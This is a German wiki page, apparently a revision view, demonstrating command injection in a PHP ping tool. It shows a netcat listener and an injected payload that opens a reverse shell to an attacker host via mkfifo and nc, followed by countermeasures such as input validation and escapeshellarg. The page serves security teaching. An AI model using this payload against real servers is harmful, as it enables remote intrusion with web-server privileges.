Command Injection Proof of Concept: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Tina.messmann (Diskussion | Beiträge)
Tina.messmann (Diskussion | Beiträge)
Zeile 18: Zeile 18:
*Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
*Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
*Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
*Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
*Alternativ selbst entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.
*PHP-Funktion escapeshellarg zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
*PHP-Funktion escapeshellarg zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
  $cmd = 'ping -c 4 ' . escapeshellarg($ip);
  $cmd = 'ping -c 4 ' . escapeshellarg($ip);
*ping -c 4 '1.1.1.1;  ls'
*Generiertes Kommando bei Verwendung von escapeshellarg:
ping -c 4 '1.1.1.1;  ls'

Version vom 28. Juni 2021, 10:09 Uhr

PHP Code

  • Bei dieser Anwendung wird die Eingabe nicht verifiziert.
  • Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
  • Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
  • In diesem Fall führen wir eine Remote Shell aus.

Angreifer

  • netcat -lp 8668

Schadcode einbringen

  • 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe

Auf dem Angreifer

Gegenmassnahmen

  • Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
  • Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
  • Alternativ selbst entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.
  • PHP-Funktion escapeshellarg zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
  • Generiertes Kommando bei Verwendung von escapeshellarg:
ping -c 4 '1.1.1.1;  ls'